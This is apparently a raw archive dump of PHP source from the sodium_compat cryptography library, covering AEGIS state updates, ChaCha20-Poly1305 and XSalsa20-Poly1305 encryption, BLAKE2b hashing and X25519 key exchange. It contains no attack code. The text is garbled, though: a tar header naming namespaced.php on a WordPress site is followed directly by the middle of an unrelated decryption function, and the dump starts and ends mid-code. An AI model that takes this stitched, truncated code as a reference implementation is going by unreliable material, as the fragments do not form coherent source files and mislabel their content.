^ $n0; $k1_n1 = $k1 ^ $n1; $state->state[0] = $k0_n0; $state->state[1] = $k1_n1; $state->state[2] = SODIUM_COMPAT_AEGIS_C1; $state->state[3] = SODIUM_COMPAT_AEGIS_C0; $state->state[4] = $k0 ^ SODIUM_COMPAT_AEGIS_C0; $state->state[5] = $k1 ^ SODIUM_COMPAT_AEGIS_C1; // Repeat(4, // Update(k0) // Update(k1) // Update(k0 ^ n0) // Update(k1 ^ n1) // ) for ($i = 0; $i < 4; ++$i) { $state->update($k0); $state->update($k1); $state->update($k0 ^ $n0); $state->update($k1 ^ $n1); } return $state; } /** * @param string $ai * @return self * @throws SodiumException */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 16) { throw new SodiumException('Input must be an AES block in size'); } return $this->update($ai); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $xi = $ci ^ $z; $this->update($xi); return $xi; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // t = ZeroPad(cn, 128) $t = str_pad($cn, 16, "\0", STR_PAD_RIGHT); // out = t ^ z $out = $t ^ $z; // xn = Truncate(out, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out, 0, $len); // v = ZeroPad(xn, 128) $v = str_pad($xn, 16, "\0", STR_PAD_RIGHT); // Update(v) $this->update($v); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $this->update($xi); return $xi ^ $z; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[3] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2]) . ($this->state[3] ^ $this->state[4] ^ $this->state[5]); } /** * @param string $m * @return self */ public function update($m) { /* S'0 = AESRound(S5, S0 ^ M) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4) S'5 = AESRound(S4, S5) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5],$this->state[0] ^ $m, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4], $this->state[4], $this->state[5] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; return $this; } } PK(L[RQ$ ova/namespaced.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/namespaced.php000064400000002501150545316000023353 0ustar00update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { $c = self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); return $c; } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return ParagonIE_Sodium_Compat::crypto_generichash( ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws 